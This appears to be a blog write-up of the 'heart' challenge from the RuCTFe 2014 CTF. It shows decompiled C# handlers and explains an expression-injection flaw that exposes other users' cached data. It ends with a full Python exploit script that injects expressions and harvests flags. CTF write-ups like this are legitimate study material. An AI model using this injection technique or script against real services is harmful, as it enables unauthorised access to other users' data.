Skip to content

RuCTFe 2014: heart write up

So here is my write-up for the heart challenge of the RuCTFe 2014. The heart service was written in Mono and provided a webinterface on which you can register yourself, set heart data points, set alerts for these data points and get all your data points.

The gaming server regularly registered a new user, sets a data point (the flag) and an alert for this data point. After that it logs in again with this registered user and reads all his data points. The service stores these data points and users in a "Redis Client Manager" database which is (when I understood it correctly) in memory.

Ok, I used Simple Assembly Explorer on Windows with ILSpy to look at the code. Fortunatly, it was not obfuscated or anything like it. So we can just decompile it. The main function looked like this:



// heart.Program
private static void Main(string[] args)
{
   XmlConfigurator.Configure();
   try
   {
       Program.DB = new DbProvider((args.Length > 0) ? args[0] : "127.0.0.1:6379");
       StaticHandler staticHandler = new StaticHandler(Program.GetPrefix(null), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "static"));
       staticHandler.Start();
       AddPointHandler addPointHandler = new AddPointHandler(Program.GetPrefix("add"));
       addPointHandler.Start();
       GetPointsHandler getPointsHandler = new GetPointsHandler(Program.GetPrefix("series"));
       getPointsHandler.Start();
       RegisterHandler registerHandler = new RegisterHandler(Program.GetPrefix("signup"));
       registerHandler.Start();
       LoginHandler loginHandler = new LoginHandler(Program.GetPrefix("signin"));
       loginHandler.Start();
       SetExpressionHandler setExpressionHandler = new SetExpressionHandler(Program.GetPrefix("setexpr"));
       setExpressionHandler.Start();
       GetAlertsHandler getAlertsHandler = new GetAlertsHandler(Program.GetPrefix("alerts"));
       getAlertsHandler.Start();
       Thread.Sleep(-1);
   }
   catch (Exception message)
   {
       Program.log.Fatal(message);
   }
}
 



You can see that there were 7 handlers that were registered. To skip to the interesting part, we take a look at the "setexpr" and "alerts" handler. The "setexpr" handler looked like this:



using heart.utils;
using System;
using System.Collections.Generic;
using System.Net;
namespace heart.handlers
{
   internal class SetExpressionHandler : AuthBaseHandler
   {
       public SetExpressionHandler(string prefix) : base(prefix)
       {
       }
       protected override void ProcessAuthorizedRequest(HttpListenerContext context, string login)
       {
           context.Request.AssertMethod("POST");
           System.Collections.Generic.Dictionary<string, string> postData = context.Request.GetPostData();
           string text;
           postData.TryGetValue("expr", out text);
           if (!string.IsNullOrEmpty(text))
           {
               if (text.Length > 512)
               {
                   throw new HttpException(HttpStatusCode.BadRequest, "Expression too large");
               }
               System.DateTime utcNow = System.DateTime.UtcNow;
               ExpressionHelper.CalcExpression(text, Program.DB.TakeSafe(login, utcNow.AddMinutes(-60.0), utcNow));
           }
           string text2;
           postData.TryGetValue("parts", out text2);
           if (text2 != null && text2.Length > 512)
           {
               throw new HttpException(HttpStatusCode.BadRequest, "Expression too large");
           }
           Program.DB.SetExpression(login, text, text2);
           context.Response.SetCookie("expr", text2, false);
           BaseHandler.WriteString(context, "OK");
       }
   }
}
 



So we have 2 POST values "expr" and "parts" from which only the "expr" is interesting. I searched in the complete code to see what "parts" does. And it does nothing but getting stored in a user variable. The "expr" is used with "CalcExpression()" which we keep in mind for the "alerts" handler. When this is done, it is set in the database via "SetExpression()". "SetExpression()" looks like this:



// heart.db.DbProvider
public void SetExpression(string login, string expression, string readable)
{
   using (IRedisClient client = this.manager.GetClient())
   {
       User user = Data<User>.ParseJson(client.GetValueFromHash("u", login));
       user.Expression = expression;
       user.Readable = readable;
       client.SetEntryInHash("u", login, user.CacheItem(login, 60).ToJsonString());
   }
}
 



It stores the "parts" POST value into the "user.Readable" variable and the "expr" POST value into the "user.Expression". The last one is the interesting part. So now let us look into the "alerts" handler:



using heart.db;
using heart.utils;
using System;
using System.Net;
using System.Runtime.Serialization;
namespace heart.handlers
{
   internal class GetAlertsHandler : AuthBaseHandler
   {
       [DataContract]
       internal class Alert : Data<GetAlertsHandler.Alert>
       {
            [DataMember(Name = "msg", Order = 1, EmitDefaultValue = false)]
           public string Message;
            [DataMember(Name = "dt", Order = 2, EmitDefaultValue = false)]
           private long date;
           [IgnoreDataMember]
           public System.DateTime Date
           {
                get
               {
                   return DateTimeUtils.ParseUnixTime(this.date);
               }
                set
               {
                   this.date = value.ToUnixTime();
               }
           }
       }
       public GetAlertsHandler(string prefix) : base(prefix)
       {
       }
       protected override void ProcessAuthorizedRequest(HttpListenerContext context, string login)
       {
           System.DateTime utcNow = System.DateTime.UtcNow;
           User user = Program.DB.FindUser(login);
           if (user == null)
           {
               throw new HttpException(HttpStatusCode.InternalServerError, "Can't find user");
           }
           if (string.IsNullOrEmpty(user.Expression))
           {
               BaseHandler.WriteData(context, null);
               return;
           }
           Stat stat = Program.DB.TakeSafe(login, utcNow.AddMinutes(-60.0), utcNow);
           string text = ExpressionHelper.CalcExpression(user.Expression, stat);
           BaseHandler.WriteData(context, (text != null) ? new GetAlertsHandler.Alert
           {
               Message = text,
               Date = System.DateTime.UtcNow
           }.ToJson() : null);
       }
   }
}
 



The "ProcessAuthorizedRequest()" is the interesting function. It uses the "user.Expression" (which we can set with the "setexpr" handler) and calculates something from it with "CalcExpression()". Also the "stat" variable is used which is taken from the database. Now let us look into the "CalcExpression()" method:



// heart.handlers.ExpressionHelper
public static string CalcExpression(string expression, Stat stat)
{
   ExpressionContext expressionContext = new ExpressionContext();
   expressionContext.Imports.AddType(typeof(Math));
   expressionContext.Imports.AddType(typeof(StatMethods));
   expressionContext.Variables.Add("stat", stat);
   expressionContext.Options.ParseCulture = CultureInfo.InvariantCulture;
   string result;
   try
   {
       IGenericExpression<string> genericExpression = expressionContext.CompileGeneric<string>(expression);
       result = genericExpression.Evaluate();
   }
   catch (Exception ex2)
   {
       ExpressionCompileException ex = ex2 as ExpressionCompileException;
       throw new HttpException(HttpStatusCode.InternalServerError, (ex != null) ? ex.Message : "Failed to build expression");
   }
   return result;
}
 



It sets up an expression context with some functions and the variable stat and does an "evaluate()" on it. This comes from the "Ciloci.Flee" project which I assumed as "not vulnerable" in this challenge and ignored it. But the interesting part is that the expression you can set can have methods that are given to the expression context. For example the gaming server used "Median()" which is given by the "StatMethods". So I tried some stuff with the "stat" variable like "toString()" and it got evaluated. So let us take a look at the "stat" variable class:



using heart.utils;
using System;
using System.Runtime.Serialization;
namespace heart.db
{
   [DataContract]
   public class Stat : Data<Stat>
   {
        [DataMember(Name = "points", Order = 1, EmitDefaultValue = false)]
       public DatePoint[] Points;
   }
}
 



The Stat class has an array of "Points" which stores the data inserted by the user. Unfortunately for us, when we play with the "setexpr" and "alerts" we can just reach our own submitted points (and not the one of the gaming server because we do not know his user credentials). But this was to obvious to not be the vulnerable part of the challenge and I knew that somehow I have to break out of this context.

Because of my own stupidity, it took me around 3h to find the bug. I thought that the class "Data" from which the class "Stat" was implemented was a .net system class. I was searching for it and did not find it on msdn and so on. Eventually, when MSLC was exploiting the service and I saw there exploit in the traffic I found the "Data" class. I was angry about my stupidity in how to operate Simple Assembly Explorer because it cost us 3h of valuable exploiting time. From thereon it was not difficult at all to exploit the service. The "Data" class has the methods "DumpCacheItems()" and "ToJsonString()". With it we could get access to the cached items that were inserted into the heart service. After that, we could iterate through the items and get it as a json string. The exploit looked like this:


#!/usr/bin/python

import requests
import re
import sys
import os
import json

session = requests.Session()


ip = sys.argv[1]
ip = ip[:-1] + "6"


login = "foooo1234"
password = "foooo1234"
data = {'login': login, 'pass': password, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
r1 = session.post("http://" + ip + "/signup/", data=data)


# check user already exists
if login in r1.text:
        data = {'login': login, 'pass': password, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
        r1 = session.post("http://" + ip + "/signin/", data=data)

        # check if login was successfull
        if not "OK" in r1.text:
                raise ValueError("Login failed with:\n %s" % r1.text)

# login
elif "OK" in r1.text:
        pass

else:
        raise ValueError("Create login failed with:\n %s" % r1.text)

expr = 'stat.DumpCacheItems().Length.toString()'
data = {'expr': expr, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
r2 = session.post("http://" + ip + "/setexpr/", data=data)


# get count of objects
r3 = session.get("http://" + ip + "/alerts/")




try:
        temp = json.loads(r3.text)
        count = int(temp["msg"])
except:
        raise ValueError("Can not get count")

for i in range(count):


        expr = 'stat.DumpCacheItems()[%d].ToJsonString()' % i
        data = {'expr': expr, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
        r4 = session.post("http://" + ip + "/setexpr/", data=data)


        # get flag
        r5 = session.get("http://" + ip + "/alerts/")

        r = re.search("\w{31}=", r5.text)
        if r:
                print r.group(0)
 

Trackbacks

No Trackbacks

Comments

Display comments as Linear | Threaded

No comments

The author does not allow comments to this entry

Add Comment

Standard emoticons like :-) and ;-) are converted to images.
E-Mail addresses will not be displayed and will only be used for E-Mail notifications.
Form options

Submitted comments will be subject to moderation before being displayed.